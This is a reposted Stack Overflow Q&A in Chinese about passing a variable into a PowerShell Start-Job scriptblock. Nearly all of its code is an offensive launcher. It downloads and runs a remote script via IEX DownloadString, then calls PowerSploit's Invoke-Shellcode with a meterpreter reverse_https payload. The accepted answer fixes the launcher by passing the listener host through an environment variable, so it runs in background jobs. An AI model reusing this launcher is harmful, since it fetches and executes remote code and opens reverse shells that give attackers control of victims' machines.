gpt4 book ai didi

powershell - ScriptBlock中的参数无法正确扩展

转载 作者:行者123 更新时间:2023-12-03 00:16:22 24 4
gpt4 key购买 nike

$foo = @("string.here")

foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}

$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}

this修改。 编辑:为了清楚起见,删除了不必要的代码。
MyCommandlet需要一个变量(在此为 -Lhost $temp),该变量在使用前应进行检查(不应为null或为空)。

尝试运行上述脚本时,出现以下错误消息。

Invoke-Shellcode : Cannot validate argument on parameter 'Lhost'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.



编辑: Invoke-Shellcode是原始Commandlet,我将其称为 MyCommandlet。出于安全原因,我不想包含完整的代码(以防人们自己运行脚本)。有关更多详细信息,请参见此处的代码
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

原始的ScriptBlock类似于(参见$ temp变量)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

本质上,该变量未正确传递给我的 MyCommandlet,而 Write-Host $temp在相同的上下文中返回非null值(正确)。我知道变量不会传递给其他ScriptBlock,尤其是当它在新作业中运行时,但是因为 Write-Host能够正确读取作业中的值,所以我必须错过其他内容。

正如一些帖子所建议的那样,我尝试了以下替代方法:
  • ...} -ArgumentList $temp(在ScriptBlock之后)
    http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...}(在ScriptBlock的开头)
  • 直接使用Start-Job -ScriptBlock {...},而不是使用变量
    ScriptBlock。 [scriptblock]::Create(...)声明
    ScriptBlock
  • 使用Invoke-Command代替Start-Job但不
    只是它也不起作用(尽管工作方式略有不同),我
    希望尽可能使用Start-Job
  • 我想避免使用Powershell V3.0 $using:variable功能。另外,它在我尝试的配置中不起作用。

  • 这些都不对我有用。

    最佳答案

    我找到了一个有效的解决方案,该解决方案依赖于使用环境变量(例如$env:myvar)。为了解决上述问题,我使用了这种方式:

    $foo = 'string_var'
    $env:temp_var = $($foo)

    $s = { $WebClientObject = New-Object Net.WebClient
    IEX $WebClientObject.DownloadString('PAYLOAD_URL')
    Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
    #Write-Host $env:temp_var
    }

    $id = [System.Guid]::NewGuid()
    $jobs += $id
    Start-Job -Name $id -ScriptBlock $s

    # Clean-up
    Remove-Item env:\temp_var

    有关Powershell中环境变量的更多详细信息,请参见 https://technet.microsoft.com/en-us/library/ff730964.aspx

    ps :对我来说,上面建议的选项为何不起作用仍然是没有意义的...如果有人有任何解释,将非常欢迎。

    关于powershell - ScriptBlock中的参数无法正确扩展,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33725314/

    24 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com